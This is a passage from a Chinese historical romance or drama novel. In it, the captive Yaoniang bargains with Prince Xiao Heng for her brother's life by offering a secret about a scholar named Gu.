萧珩的声音低沉平缓。 窈娘瞳孔骤缩。 弟弟的存在是她拼死守护的秘密，为了他的安全，她从未联系，更未对任何人提及。他怎么会知道？ 他肯定是诈自己的对不对！ 无边的悔意将她淹没，她不该在最后关头去触怒这尊杀神！ 萧珩不再多看她一眼，仿佛她已是一个死人，转身便走。 极致的恐惧压倒了疼痛。 窈娘强忍着战栗，声音破碎不堪：“我……我若用一个王爷尚且不知的秘密交换……王爷可否饶我弟弟一命？” 萧珩的脚步未有丝毫停顿，如同未闻。 死亡的阴影彻底笼罩下来。 窈娘孤注一掷，嘶声喊道：“那秘密……有关于顾学子！” 萧珩的脚步停住。 窈娘知道她抓住了最后一根稻草，脸上挤出诡秘笑容：“王爷放心，这个秘密关乎您身边那位顾学子……您一定……会感兴趣的。” 萧珩缓缓转过身。 昏暗中看不清他的神情，唯有蹙起的眉头，显露出难以言喻的波澜。 “说。”